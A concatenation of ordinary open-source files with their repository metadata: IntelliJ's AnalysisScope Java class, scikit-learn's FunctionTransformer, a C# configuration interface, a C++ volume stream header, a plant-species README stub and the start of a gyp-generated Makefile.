* The visitor must support this workflow, i.e. be idempotent.
*/
public void acceptIdempotentVisitor(@NotNull PsiElementVisitor visitor) {
acceptImpl(visitor, true);
}
private void acceptImpl(@NotNull PsiElementVisitor visitor, boolean idempotent) {
boolean needReadAction = !ApplicationManager.getApplication().isReadAccessAllowed();
PsiManager psiManager = PsiManager.getInstance(myProject);
FileIndex fileIndex = getFileIndex();
accept(file -> {
if (file.isDirectory()) return true;
if (ProjectCoreUtil.isProjectOrWorkspaceFile(file)) return true;
boolean isInContent = ReadAction.compute(() -> fileIndex.isInContent(file));
if (isInContent && !isFilteredOut(file)
&& !GeneratedSourcesFilter.isGeneratedSourceByAnyFilter(file, myProject)) {
return processFile(file, visitor, psiManager, needReadAction, idempotent);
}
return true;
});
}
public boolean accept(@NotNull Processor<? super VirtualFile> processor) {
if (myFilesSet != null) {
return myFilesSet.process(processor);
}
if (myType == VIRTUAL_FILES) {
return getFileSet().process(file -> isFilteredOut(file) || processor.process(file));
}
FileIndex projectFileIndex = ProjectRootManager.getInstance(myProject).getFileIndex();
if (myScope instanceof GlobalSearchScope) {
ContentIterator contentIterator = createScopeIterator(processor, myScope);
if (!projectFileIndex.iterateContent(contentIterator)) return false;
if (mySearchInLibraries) {
VirtualFile[] libraryRoots = LibraryUtil.getLibraryRoots(myProject, false, false);
for (VirtualFile libraryRoot : libraryRoots) {
if (!VfsUtilCore.iterateChildrenRecursively(libraryRoot, VirtualFileFilter.ALL, contentIterator)) return false;
}
}
return true;
}
if (myScope instanceof LocalSearchScope) {
PsiElement[] psiElements = ((LocalSearchScope)myScope).getScope();
Set<VirtualFile> files = new HashSet<>();
for (PsiElement element : psiElements) {
VirtualFile file = ReadAction.compute(() -> PsiUtilCore.getVirtualFile(element));
if (file != null && files.add(file)) {
if (!processor.process(file)) return false;
}
}
return true;
}
List<Module> modules = myModule != null ? Collections.singletonList(myModule) : myModules;
if (modules != null) {
for (Module module : modules) {
FileIndex moduleFileIndex = ModuleRootManager.getInstance(module).getFileIndex();
if (!moduleFileIndex.iterateContent(createScopeIterator(processor, null))) {
return false;
}
}
return true;
}
if (myElement instanceof PsiDirectory) {
return accept((PsiDirectory)myElement, processor);
}
if (myElement != null) {
VirtualFile file = ReadAction.compute(() -> PsiUtilCore.getVirtualFile(myElement));
return file == null || processor.process(file);
}
return projectFileIndex.iterateContent(createScopeIterator(processor, null));
}
@NotNull
private VirtualFileSet getFileSet() {
VirtualFileSet fileSet = myFilesSet;
if (fileSet == null) {
myFilesSet = fileSet = createFilesSet();
}
return fileSet;
}
@NotNull
private ContentIterator createScopeIterator(@NotNull Processor<? super VirtualFile> processor, @Nullable SearchScope searchScope) {
return fileOrDir -> {
boolean isInScope = ReadAction.compute(() -> {
if (isFilteredOut(fileOrDir)) return false;
if (searchScope != null && !searchScope.contains(fileOrDir)) return false;
return !GeneratedSourcesFilter.isGeneratedSourceByAnyFilter(fileOrDir, myProject);
});
return !isInScope || processor.process(fileOrDir);
};
}
private static boolean processFile(@NotNull VirtualFile vFile,
@NotNull PsiElementVisitor visitor,
@NotNull PsiManager psiManager,
boolean needReadAction,
boolean idempotent) {
if (needReadAction && !ApplicationManager.getApplication().isDispatchThread()) {
Project project = psiManager.getProject();
if (idempotent) {
ReadAction
.nonBlocking(() -> doProcessFile(visitor, psiManager, vFile))
.withDocumentsCommitted(project)
.inSmartMode(project)
.executeSynchronously();
}
else {
commitAndRunInSmartMode(() -> doProcessFile(visitor, psiManager, vFile), project);
}
}
else {
doProcessFile(visitor, psiManager, vFile);
}
ProgressIndicator indicator = ProgressManager.getInstance().getProgressIndicator();
return indicator == null || !indicator.isCanceled();
}
private static void commitAndRunInSmartMode(Runnable runnable, Project project) {
while (true) {
DumbService dumbService = DumbService.getInstance(project);
dumbService.waitForSmartMode();
boolean passed = PsiDocumentManager.getInstance(project).commitAndRunReadAction(() -> {
if (dumbService.isDumb()) return false;
runnable.run();
return true;
});
if (passed) {
break;
}
}
}
private static boolean shouldHighlightFile(@NotNull PsiFile file) {
return ProblemHighlightFilter.shouldProcessFileInBatch(file);
}
public boolean containsModule(@NotNull Module module) {
switch (myType) {
case PROJECT:
return true;
case MODULE:
return myModule == module;
case MODULES:
return myModules.contains(module);
case CUSTOM:
if (module.isDisposed()) return false;
for (VirtualFile file : ModuleRootManager.getInstance(module).getSourceRoots()) {
if (myScope.contains(file)) return true;
}
return false;
default:
return false;
}
}
private static void doProcessFile(@NotNull PsiElementVisitor visitor, @NotNull PsiManager psiManager, @NotNull VirtualFile vFile) {
ProgressManager.checkCanceled();
if (!vFile.isValid()) return;
PsiFile psiFile = psiManager.findFile(vFile);
if (psiFile == null || !shouldHighlightFile(psiFile)) return;
psiFile.accept(visitor);
InjectedLanguageManager.getInstance(psiManager.getProject()).dropFileCaches(psiFile);
}
protected boolean accept(@NotNull PsiDirectory dir, @NotNull Processor<? super VirtualFile> processor) {
Project project = dir.getProject();
//we should analyze generated source files only if the action is explicitly invoked for a directory located under generated roots
boolean processGeneratedFiles = GeneratedSourcesFilter.isGeneratedSourceByAnyFilter(dir.getVirtualFile(), project);
return VfsUtilCore.iterateChildrenRecursively(dir.getVirtualFile(), VirtualFileFilter.ALL, fileOrDir -> {
if (isFilteredOut(fileOrDir)) return true;
if (!processGeneratedFiles && GeneratedSourcesFilter.isGeneratedSourceByAnyFilter(fileOrDir, project)) return true;
return fileOrDir.isDirectory() || processor.process(fileOrDir);
});
}
public boolean isValid() {
if (myModules != null){
for (Module module : myModules) {
if (module.isDisposed()) return false;
}
return true;
}
if (myModule != null) return !myModule.isDisposed();
if (myElement != null) {
return myElement.isValid();
}
return myType == VIRTUAL_FILES || myType == CUSTOM || myType == PROJECT;
}
@Type
public int getScopeType() {
return myType;
}
@NotNull
public @Nls String getDisplayName() {
switch (myType) {
case CUSTOM:
return myScope.getDisplayName();
case MODULE:
return AnalysisBundle.message("scope.option.module", pathToName(myModule.getModuleFilePath()));
case MODULES:
String modules = StringUtil.join(myModules, module -> pathToName(module.getModuleFilePath()), ", ");
return AnalysisBundle.message("scope.module.list", modules, myModules.size());
case PROJECT:
return AnalysisBundle.message("scope.project", myProject.getName());
case FILE:
return AnalysisBundle.message("scope.file", displayProjectRelativePath((PsiFileSystemItem)myElement));
case DIRECTORY:
return AnalysisBundle.message("scope.directory", displayProjectRelativePath((PsiFileSystemItem)myElement));
case VIRTUAL_FILES:
return AnalysisBundle.message("scope.virtual.files");
}
return "";
}
@NotNull
public @Nls String getShortenName(){
switch (myType) {
case CUSTOM:
return myScope.getDisplayName();
case MODULE:
return AnalysisBundle.message("scope.option.module", myModule.getName());
case MODULES:
String modules = StringUtil.join(myModules, Module::getName, ", ");
return AnalysisBundle.message("scope.module.list", modules, myModules.size());
case PROJECT:
return AnalysisBundle.message("scope.project", myProject.getName());
case FILE:
String relativePath = getRelativePath();
return AnalysisBundle.message("scope.file", relativePath);
case DIRECTORY:
String relativeDirPath = getRelativePath();
return AnalysisBundle.message("scope.directory", relativeDirPath);
case VIRTUAL_FILES:
return AnalysisBundle.message("scope.selected.files");
}
return "";
}
@NotNull
public Project getProject() {
return myProject;
}
@Nullable
public Module getModule() {
return myModule;
}
@NotNull
public List<Module> getModules() {
return myModules == null ? Collections.emptyList() : Collections.unmodifiableList(myModules);
}
@Nullable
public PsiElement getElement() {
return myElement;
}
@NotNull
public Set<VirtualFile> getFiles() {
//noinspection unchecked
return myVFiles == null ? Collections.emptySet() : (Set<VirtualFile>)myVFiles;
}
@NotNull
private String getRelativePath() {
String relativePath = displayProjectRelativePath((PsiFileSystemItem)myElement);
if (relativePath.length() > 100) {
return ((PsiFileSystemItem)myElement).getName();
}
return relativePath;
}
@NotNull
private static String pathToName(@NotNull String path) {
File file = new File(path);
return FileUtilRt.getNameWithoutExtension(file.getName());
}
public int getFileCount() {
ProgressIndicator indicator = ProgressManager.getInstance().getProgressIndicator();
if (indicator != null) { //clear text after building analysis scope set
indicator.setText("");
indicator.setText2("");
}
return getFileSet().size();
}
public void invalidate() {
if (myType == VIRTUAL_FILES) {
List<? extends VirtualFile> valid = ContainerUtil.filter(myVFiles, virtualFile -> virtualFile != null && virtualFile.isValid());
VirtualFileSet files = VfsUtilCore.createCompactVirtualFileSet(valid);
files.freeze();
myVFiles = files;
}
else {
myFilesSet = null;
}
}
public boolean containsSources(boolean isTest) {
if (myElement != null) {
Project project = myElement.getProject();
ProjectFileIndex index = ProjectRootManager.getInstance(project).getFileIndex();
if (myElement instanceof PsiDirectory) {
VirtualFile directory = ((PsiFileSystemItem)myElement).getVirtualFile();
if (index.isInSourceContent(directory)) {
return isTest == TestSourcesFilter.isTestSources(directory, myProject);
}
}
else if (myElement instanceof PsiFile) {
VirtualFile file = ((PsiFileSystemItem)myElement).getVirtualFile();
if (file != null) {
return isTest == TestSourcesFilter.isTestSources(file, myProject);
}
}
}
return true;
}
@NotNull
public AnalysisScope getNarrowedComplementaryScope(@NotNull Project defaultProject) {
ProjectFileIndex fileIndex = ProjectRootManager.getInstance(defaultProject).getFileIndex();
HashSet<Module> modules = new HashSet<>();
if (myType == FILE || myType == DIRECTORY) {
VirtualFile vFile = ((PsiFileSystemItem)myElement).getVirtualFile();
modules.addAll(getAllInterestingModules(fileIndex, vFile));
}
else if (myType == MODULE) {
modules.add(myModule);
}
else if (myType == MODULES) {
modules.addAll(myModules);
}
return collectScopes(defaultProject, modules);
}
@NotNull
protected static AnalysisScope collectScopes(@NotNull Project defaultProject, @NotNull Set<? extends Module> modules) {
if (modules.isEmpty()) {
return new AnalysisScope(defaultProject);
}
Module[] allModules = ModuleManager.getInstance(defaultProject).getModules();
Set<Module> modulesToAnalyze = new HashSet<>();
for (Module module : modules) {
modulesToAnalyze.addAll(getDirectBackwardDependencies(module, allModules));
modulesToAnalyze.addAll(getExportBackwardDependencies(module, allModules));
modulesToAnalyze.add(module);
}
return new AnalysisScope(modulesToAnalyze.toArray(Module.EMPTY_ARRAY));
}
@NotNull
private static Set<Module> getExportBackwardDependencies(@NotNull Module fromModule, Module @NotNull [] allModules) {
Set<Module> result = new HashSet<>();
for (Module module : allModules) {
ModuleRootManager moduleRootManager = ModuleRootManager.getInstance(module);
OrderEntry[] orderEntries = moduleRootManager.getOrderEntries();
for (OrderEntry orderEntry : orderEntries) {
if (orderEntry instanceof ModuleOrderEntry && ((ExportableOrderEntry)orderEntry).isExported() &&
fromModule == ((ModuleOrderEntry)orderEntry).getModule()) {
result.addAll(getDirectBackwardDependencies(module, allModules));
}
}
}
return result;
}
@NotNull
private static Set<Module> getDirectBackwardDependencies(@NotNull Module module, Module @NotNull [] allModules) {
Set<Module> result = new HashSet<>();
for (Module dependency : allModules) {
if (ArrayUtil.find(ModuleRootManager.getInstance(dependency).getDependencies(), module) > -1) {
result.add(dependency);
}
}
return result;
}
@NotNull
protected static HashSet<Module> getAllInterestingModules(@NotNull ProjectFileIndex fileIndex, @NotNull VirtualFile vFile) {
HashSet<Module> modules = new HashSet<>();
if (fileIndex.isInLibrary(vFile)) {
for (OrderEntry orderEntry : fileIndex.getOrderEntriesForFile(vFile)) {
modules.add(orderEntry.getOwnerModule());
}
}
else {
modules.add(fileIndex.getModuleForFile(vFile));
}
return modules;
}
@NotNull
public SearchScope toSearchScope() {
ApplicationManager.getApplication().assertReadAccessAllowed();
switch (myType) {
case CUSTOM:
return myScope;
case DIRECTORY:
return GlobalSearchScopesCore.directoryScope((PsiDirectory)myElement, true);
case FILE:
return GlobalSearchScope.fileScope((PsiFile)myElement);
case INVALID:
return LocalSearchScope.EMPTY;
case MODULE:
GlobalSearchScope moduleScope = GlobalSearchScope.moduleScope(myModule);
return myIncludeTestSource ? moduleScope : GlobalSearchScope.notScope(GlobalSearchScopesCore.projectTestScope(myModule.getProject())).intersectWith(moduleScope);
case MODULES:
return GlobalSearchScope.union(myModules.stream().map(m -> GlobalSearchScope.moduleScope(m)).toArray(GlobalSearchScope[]::new));
case PROJECT:
return myIncludeTestSource ? GlobalSearchScope.projectScope(myProject) : GlobalSearchScopesCore.projectProductionScope(myProject);
case VIRTUAL_FILES:
return new GlobalSearchScope() {
@Override
public boolean contains(@NotNull VirtualFile file) {
return getFileSet().contains(file);
}
@Override
public boolean isSearchInModuleContent(@NotNull Module aModule) {
return false;
}
@Override
public boolean isSearchInLibraries() {
return false;
}
};
default:
LOG.error("invalid type " + myType);
return LocalSearchScope.EMPTY;
}
}
public boolean isIncludeTestSource() {
return myIncludeTestSource;
}
public boolean isAnalyzeInjectedCode() {
return myAnalyzeInjectedCode;
}
public void setFilter(@NotNull GlobalSearchScope filter) {
myFilter = filter;
}
@Override
public String toString() {
return ReadAction.compute(() -> toSearchScope().toString());
}
}
| {
"content_hash": "26a80b02403f5025ecd6fbbe867c60c1",
"timestamp": "",
"source": "github",
"line_count": 733,
"max_line_length": 169,
"avg_line_length": 35.29331514324693,
"alnum_prop": 0.6920757634325474,
"repo_name": "smmribeiro/intellij-community",
"id": "5c1d0e35380f7853a20f996789df9716fa71c62b",
"size": "25870",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "platform/analysis-api/src/com/intellij/analysis/AnalysisScope.java",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
import warnings
import numpy as np
from ..base import BaseEstimator, TransformerMixin
from ..utils.metaestimators import available_if
from ..utils.validation import (
_allclose_dense_sparse,
_check_feature_names_in,
check_array,
)
from ..utils._param_validation import StrOptions
def _identity(X):
"""The identity function."""
return X
class FunctionTransformer(TransformerMixin, BaseEstimator):
"""Constructs a transformer from an arbitrary callable.
A FunctionTransformer forwards its X (and optionally y) arguments to a
user-defined function or function object and returns the result of this
function. This is useful for stateless transformations such as taking the
log of frequencies, doing custom scaling, etc.
Note: If a lambda is used as the function, then the resulting
transformer will not be pickleable.
.. versionadded:: 0.17
Read more in the :ref:`User Guide <function_transformer>`.
Parameters
----------
func : callable, default=None
The callable to use for the transformation. This will be passed
the same arguments as transform, with args and kwargs forwarded.
If func is None, then func will be the identity function.
inverse_func : callable, default=None
The callable to use for the inverse transformation. This will be
passed the same arguments as inverse transform, with args and
kwargs forwarded. If inverse_func is None, then inverse_func
will be the identity function.
validate : bool, default=False
Indicate that the input X array should be checked before calling
``func``. The possibilities are:
- If False, there is no input validation.
- If True, then X will be converted to a 2-dimensional NumPy array or
sparse matrix. If the conversion is not possible an exception is
raised.
.. versionchanged:: 0.22
The default of ``validate`` changed from True to False.
accept_sparse : bool, default=False
Indicate that func accepts a sparse matrix as input. If validate is
False, this has no effect. Otherwise, if accept_sparse is false,
sparse matrix inputs will cause an exception to be raised.
check_inverse : bool, default=True
Whether to check that or ``func`` followed by ``inverse_func`` leads to
the original inputs. It can be used for a sanity check, raising a
warning when the condition is not fulfilled.
.. versionadded:: 0.20
feature_names_out : callable, 'one-to-one' or None, default=None
Determines the list of feature names that will be returned by the
`get_feature_names_out` method. If it is 'one-to-one', then the output
feature names will be equal to the input feature names. If it is a
callable, then it must take two positional arguments: this
`FunctionTransformer` (`self`) and an array-like of input feature names
(`input_features`). It must return an array-like of output feature
names. The `get_feature_names_out` method is only defined if
`feature_names_out` is not None.
See ``get_feature_names_out`` for more details.
.. versionadded:: 1.1
kw_args : dict, default=None
Dictionary of additional keyword arguments to pass to func.
.. versionadded:: 0.18
inv_kw_args : dict, default=None
Dictionary of additional keyword arguments to pass to inverse_func.
.. versionadded:: 0.18
Attributes
----------
n_features_in_ : int
Number of features seen during :term:`fit`.
.. versionadded:: 0.24
feature_names_in_ : ndarray of shape (`n_features_in_`,)
Names of features seen during :term:`fit`. Defined only when `X` has feature
names that are all strings.
.. versionadded:: 1.0
See Also
--------
MaxAbsScaler : Scale each feature by its maximum absolute value.
StandardScaler : Standardize features by removing the mean and
scaling to unit variance.
LabelBinarizer : Binarize labels in a one-vs-all fashion.
MultiLabelBinarizer : Transform between iterable of iterables
and a multilabel format.
Examples
--------
>>> import numpy as np
>>> from sklearn.preprocessing import FunctionTransformer
>>> transformer = FunctionTransformer(np.log1p)
>>> X = np.array([[0, 1], [2, 3]])
>>> transformer.transform(X)
array([[0. , 0.6931...],
[1.0986..., 1.3862...]])
"""
_parameter_constraints: dict = {
"func": [callable, None],
"inverse_func": [callable, None],
"validate": ["boolean"],
"accept_sparse": ["boolean"],
"check_inverse": ["boolean"],
"feature_names_out": [callable, StrOptions({"one-to-one"}), None],
"kw_args": [dict, None],
"inv_kw_args": [dict, None],
}
def __init__(
self,
func=None,
inverse_func=None,
*,
validate=False,
accept_sparse=False,
check_inverse=True,
feature_names_out=None,
kw_args=None,
inv_kw_args=None,
):
self.func = func
self.inverse_func = inverse_func
self.validate = validate
self.accept_sparse = accept_sparse
self.check_inverse = check_inverse
self.feature_names_out = feature_names_out
self.kw_args = kw_args
self.inv_kw_args = inv_kw_args
def _check_input(self, X, *, reset):
if self.validate:
return self._validate_data(X, accept_sparse=self.accept_sparse, reset=reset)
elif reset:
# Set feature_names_in_ and n_features_in_ even if validate=False
# We run this only when reset==True to store the attributes but not
# validate them, because validate=False
self._check_n_features(X, reset=reset)
self._check_feature_names(X, reset=reset)
return X
def _check_inverse_transform(self, X):
"""Check that func and inverse_func are the inverse."""
idx_selected = slice(None, None, max(1, X.shape[0] // 100))
X_round_trip = self.inverse_transform(self.transform(X[idx_selected]))
if not np.issubdtype(X.dtype, np.number):
raise ValueError(
"'check_inverse' is only supported when all the elements in `X` is"
" numerical."
)
if not _allclose_dense_sparse(X[idx_selected], X_round_trip):
warnings.warn(
"The provided functions are not strictly"
" inverse of each other. If you are sure you"
" want to proceed regardless, set"
" 'check_inverse=False'.",
UserWarning,
)
def fit(self, X, y=None):
"""Fit transformer by checking X.
If ``validate`` is ``True``, ``X`` will be checked.
Parameters
----------
X : array-like, shape (n_samples, n_features)
Input array.
y : Ignored
Not used, present here for API consistency by convention.
Returns
-------
self : object
FunctionTransformer class instance.
"""
self._validate_params()
X = self._check_input(X, reset=True)
if self.check_inverse and not (self.func is None or self.inverse_func is None):
self._check_inverse_transform(X)
return self
def transform(self, X):
"""Transform X using the forward function.
Parameters
----------
X : array-like, shape (n_samples, n_features)
Input array.
Returns
-------
X_out : array-like, shape (n_samples, n_features)
Transformed input.
"""
X = self._check_input(X, reset=False)
return self._transform(X, func=self.func, kw_args=self.kw_args)
def inverse_transform(self, X):
"""Transform X using the inverse function.
Parameters
----------
X : array-like, shape (n_samples, n_features)
Input array.
Returns
-------
X_out : array-like, shape (n_samples, n_features)
Transformed input.
"""
if self.validate:
X = check_array(X, accept_sparse=self.accept_sparse)
return self._transform(X, func=self.inverse_func, kw_args=self.inv_kw_args)
@available_if(lambda self: self.feature_names_out is not None)
def get_feature_names_out(self, input_features=None):
"""Get output feature names for transformation.
This method is only defined if `feature_names_out` is not None.
Parameters
----------
input_features : array-like of str or None, default=None
Input feature names.
- If `input_features` is None, then `feature_names_in_` is
used as the input feature names. If `feature_names_in_` is not
defined, then names are generated:
`[x0, x1, ..., x(n_features_in_ - 1)]`.
- If `input_features` is array-like, then `input_features` must
match `feature_names_in_` if `feature_names_in_` is defined.
Returns
-------
feature_names_out : ndarray of str objects
Transformed feature names.
- If `feature_names_out` is 'one-to-one', the input feature names
are returned (see `input_features` above). This requires
`feature_names_in_` and/or `n_features_in_` to be defined, which
is done automatically if `validate=True`. Alternatively, you can
set them in `func`.
- If `feature_names_out` is a callable, then it is called with two
arguments, `self` and `input_features`, and its return value is
returned by this method.
"""
if hasattr(self, "n_features_in_") or input_features is not None:
input_features = _check_feature_names_in(self, input_features)
if self.feature_names_out == "one-to-one":
names_out = input_features
elif callable(self.feature_names_out):
names_out = self.feature_names_out(self, input_features)
else:
raise ValueError(
f"feature_names_out={self.feature_names_out!r} is invalid. "
'It must either be "one-to-one" or a callable with two '
"arguments: the function transformer and an array-like of "
"input feature names. The callable must return an array-like "
"of output feature names."
)
return np.asarray(names_out, dtype=object)
def _transform(self, X, func=None, kw_args=None):
if func is None:
func = _identity
return func(X, **(kw_args if kw_args else {}))
def __sklearn_is_fitted__(self):
"""Return True since FunctionTransfomer is stateless."""
return True
def _more_tags(self):
return {"no_validation": not self.validate, "stateless": True}
def set_output(self, *, transform=None):
"""Set output container.
See :ref:`sphx_glr_auto_examples_miscellaneous_plot_set_output.py`
for an example on how to use the API.
Parameters
----------
transform : {"default", "pandas"}, default=None
Configure output of `transform` and `fit_transform`.
- `"default"`: Default output format of a transformer
- `"pandas"`: DataFrame output
- `None`: Transform configuration is unchanged
Returns
-------
self : estimator instance
Estimator instance.
"""
if hasattr(super(), "set_output"):
return super().set_output(transform=transform)
if transform == "pandas" and self.feature_names_out is None:
warnings.warn(
'With transform="pandas", `func` should return a DataFrame to follow'
" the set_output API."
)
return self
| {
"content_hash": "ac11c8ca07c36d55dad8b573127874d3",
"timestamp": "",
"source": "github",
"line_count": 339,
"max_line_length": 88,
"avg_line_length": 35.84365781710915,
"alnum_prop": 0.6006913011274793,
"repo_name": "betatim/scikit-learn",
"id": "d4c2cf6de7af2163f29eeda2d5b261924427e1f6",
"size": "12151",
"binary": false,
"copies": "4",
"ref": "refs/heads/main",
"path": "sklearn/preprocessing/_function_transformer.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "C",
"bytes": "42335"
},
{
"name": "C++",
"bytes": "147316"
},
{
"name": "Cython",
"bytes": "668499"
},
{
"name": "Makefile",
"bytes": "1644"
},
{
"name": "Python",
"bytes": "10504881"
},
{
"name": "Shell",
"bytes": "41551"
}
],
"symlink_target": ""
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using BeeHive.Configuration;
namespace ConveyorBelt.Tooling.Configuration
{
public interface ISourceConfiguration
{
IEnumerable<DiagnosticsSource> GetSources();
void UpdateSource(DiagnosticsSource source);
DiagnosticsSource RefreshSource(DiagnosticsSource source); // goes to data store to get the latest version
}
}
| {
"content_hash": "5f7837b6657151554c0d2502203600b1",
"timestamp": "",
"source": "github",
"line_count": 19,
"max_line_length": 114,
"avg_line_length": 24.94736842105263,
"alnum_prop": 0.7637130801687764,
"repo_name": "aliostad/ConveyorBelt",
"id": "5fb82d5d07730f0e7105357d8e85edb3fcc7e899",
"size": "476",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "src/ConveyorBelt.Tooling/Configuration/ISourceConfiguration.cs",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "30"
},
{
"name": "C#",
"bytes": "204817"
},
{
"name": "PowerShell",
"bytes": "11134"
}
],
"symlink_target": ""
} |
namespace Framework
{
namespace Posix
{
class CVolumeStream : public CStream
{
public:
CVolumeStream(const char*);
virtual ~CVolumeStream();
virtual void Seek(int64, STREAM_SEEK_DIRECTION);
virtual uint64 Tell();
virtual uint64 Read(void*, uint64);
virtual uint64 Write(const void*, uint64);
virtual bool IsEOF();
private:
void SyncCache();
int m_fd;
void* m_cache;
uint64 m_cacheSector;
uint64 m_position;
uint32 m_sectorSize;
};
}
}
#endif
| {
"content_hash": "c2d442f72acaccb37aa7ed8008555906",
"timestamp": "",
"source": "github",
"line_count": 30,
"max_line_length": 51,
"avg_line_length": 17.666666666666668,
"alnum_prop": 0.630188679245283,
"repo_name": "Flav900/Play-",
"id": "8cbf09bb2194e29e20eda6c3bb99e044000415f6",
"size": "614",
"binary": false,
"copies": "5",
"ref": "refs/heads/master",
"path": "Source/Posix_VolumeStream.h",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Assembly",
"bytes": "224"
},
{
"name": "C",
"bytes": "8945"
},
{
"name": "C++",
"bytes": "2083213"
},
{
"name": "FLUX",
"bytes": "1596"
},
{
"name": "HTML",
"bytes": "15288"
},
{
"name": "Java",
"bytes": "30035"
},
{
"name": "Makefile",
"bytes": "7344"
},
{
"name": "NSIS",
"bytes": "9305"
},
{
"name": "Objective-C",
"bytes": "3437"
},
{
"name": "Objective-C++",
"bytes": "15640"
},
{
"name": "Shell",
"bytes": "594"
}
],
"symlink_target": ""
} |
ACCEPTED
#### According to
International Plant Names Index
#### Published in
null
#### Original name
null
### Remarks
null | {
"content_hash": "ae1f995e38e80da8be9583f33d477cf9",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 31,
"avg_line_length": 9.692307692307692,
"alnum_prop": 0.7063492063492064,
"repo_name": "mdoering/backbone",
"id": "d007b6073bace5483e68d4d73664cc6567a6fc78",
"size": "181",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "life/Plantae/Magnoliophyta/Magnoliopsida/Fabales/Polygalaceae/Polygala/Polygala cuspidata/README.md",
"mode": "33188",
"license": "apache-2.0",
"language": [],
"symlink_target": ""
} |
MAKEFLAGS=-r
# The source directory tree.
srcdir := ..
abs_srcdir := $(abspath $(srcdir))
# The name of the builddir.
builddir_name ?= .
# The V=1 flag on command line makes us verbosely print command lines.
ifdef V
quiet=
else
quiet=quiet_
endif
# Specify BUILDTYPE=Release on the command line for a release build.
BUILDTYPE ?= Release
# Directory all our build output goes into.
# Note that this must be two directories beneath src/ for unit tests to pass,
# as they reach into the src/ directory for data with relative paths.
builddir ?= $(builddir_name)/$(BUILDTYPE)
abs_builddir := $(abspath $(builddir))
depsdir := $(builddir)/.deps
# Object output directory.
obj := $(builddir)/obj
abs_obj := $(abspath $(obj))
# We build up a list of every single one of the targets so we can slurp in the
# generated dependency rule Makefiles in one pass.
all_deps :=
CC.target ?= $(CC)
CFLAGS.target ?= $(CPPFLAGS) $(CFLAGS)
CXX.target ?= $(CXX)
CXXFLAGS.target ?= $(CPPFLAGS) $(CXXFLAGS)
LINK.target ?= $(LINK)
LDFLAGS.target ?= $(LDFLAGS)
AR.target ?= $(AR)
# C++ apps need to be linked with g++.
LINK ?= $(CXX.target)
# TODO(evan): move all cross-compilation logic to gyp-time so we don't need
# to replicate this environment fallback in make as well.
CC.host ?= gcc
CFLAGS.host ?= $(CPPFLAGS_host) $(CFLAGS_host)
CXX.host ?= g++
CXXFLAGS.host ?= $(CPPFLAGS_host) $(CXXFLAGS_host)
LINK.host ?= $(CXX.host)
LDFLAGS.host ?=
AR.host ?= ar
# Define a dir function that can handle spaces.
# http://www.gnu.org/software/make/manual/make.html#Syntax-of-Functions
# "leading spaces cannot appear in the text of the first argument as written.
# These characters can be put into the argument value by variable substitution."
empty :=
space := $(empty) $(empty)
# http://stackoverflow.com/questions/1189781/using-make-dir-or-notdir-on-a-path-with-spaces
replace_spaces = $(subst $(space),?,$1)
unreplace_spaces = $(subst ?,$(space),$1)
dirx = $(call unreplace_spaces,$(dir $(call replace_spaces,$1)))
# Flags to make gcc output dependency info. Note that you need to be
# careful here to use the flags that ccache and distcc can understand.
# We write to a dep file on the side first and then rename at the end
# so we can't end up with a broken dep file.
depfile = $(depsdir)/$(call replace_spaces,$@).d
DEPFLAGS = -MMD -MF $(depfile).raw
# We have to fixup the deps output in a few ways.
# (1) the file output should mention the proper .o file.
# ccache or distcc lose the path to the target, so we convert a rule of
# the form:
# foobar.o: DEP1 DEP2
# into
# path/to/foobar.o: DEP1 DEP2
# (2) we want missing files not to cause us to fail to build.
# We want to rewrite
# foobar.o: DEP1 DEP2 \
# DEP3
# to
# DEP1:
# DEP2:
# DEP3:
# so if the files are missing, they're just considered phony rules.
# We have to do some pretty insane escaping to get those backslashes
# and dollar signs past make, the shell, and sed at the same time.
# Doesn't work with spaces, but that's fine: .d files have spaces in
# their names replaced with other characters.
define fixup_dep
# The depfile may not exist if the input file didn't have any #includes.
touch $(depfile).raw
# Fixup path as in (1).
sed -e "s|^$(notdir $@)|$@|" $(depfile).raw >> $(depfile)
# Add extra rules as in (2).
# We remove slashes and replace spaces with new lines;
# remove blank lines;
# delete the first line and append a colon to the remaining lines.
sed -e 's|\\||' -e 'y| |\n|' $(depfile).raw |\
grep -v '^$$' |\
sed -e 1d -e 's|$$|:|' \
>> $(depfile)
rm $(depfile).raw
endef
# Command definitions:
# - cmd_foo is the actual command to run;
# - quiet_cmd_foo is the brief-output summary of the command.
quiet_cmd_cc = CC($(TOOLSET)) $@
cmd_cc = $(CC.$(TOOLSET)) $(GYP_CFLAGS) $(DEPFLAGS) $(CFLAGS.$(TOOLSET)) -c -o $@ $<
quiet_cmd_cxx = CXX($(TOOLSET)) $@
cmd_cxx = $(CXX.$(TOOLSET)) $(GYP_CXXFLAGS) $(DEPFLAGS) $(CXXFLAGS.$(TOOLSET)) -c -o $@ $<
quiet_cmd_touch = TOUCH $@
cmd_touch = touch $@
quiet_cmd_copy = COPY $@
# send stderr to /dev/null to ignore messages when linking directories.
cmd_copy = rm -rf "$@" && cp -af "$<" "$@"
quiet_cmd_alink = AR($(TOOLSET)) $@
cmd_alink = rm -f $@ && $(AR.$(TOOLSET)) crs $@ $(filter %.o,$^)
quiet_cmd_alink_thin = AR($(TOOLSET)) $@
cmd_alink_thin = rm -f $@ && $(AR.$(TOOLSET)) crsT $@ $(filter %.o,$^)
# Due to circular dependencies between libraries :(, we wrap the
# special "figure out circular dependencies" flags around the entire
# input list during linking.
quiet_cmd_link = LINK($(TOOLSET)) $@
cmd_link = $(LINK.$(TOOLSET)) $(GYP_LDFLAGS) $(LDFLAGS.$(TOOLSET)) -o $@ -Wl,--start-group $(LD_INPUTS) -Wl,--end-group $(LIBS)
# We support two kinds of shared objects (.so):
# 1) shared_library, which is just bundling together many dependent libraries
# into a link line.
# 2) loadable_module, which is generating a module intended for dlopen().
#
# They differ only slightly:
# In the former case, we want to package all dependent code into the .so.
# In the latter case, we want to package just the API exposed by the
# outermost module.
# This means shared_library uses --whole-archive, while loadable_module doesn't.
# (Note that --whole-archive is incompatible with the --start-group used in
# normal linking.)
# Other shared-object link notes:
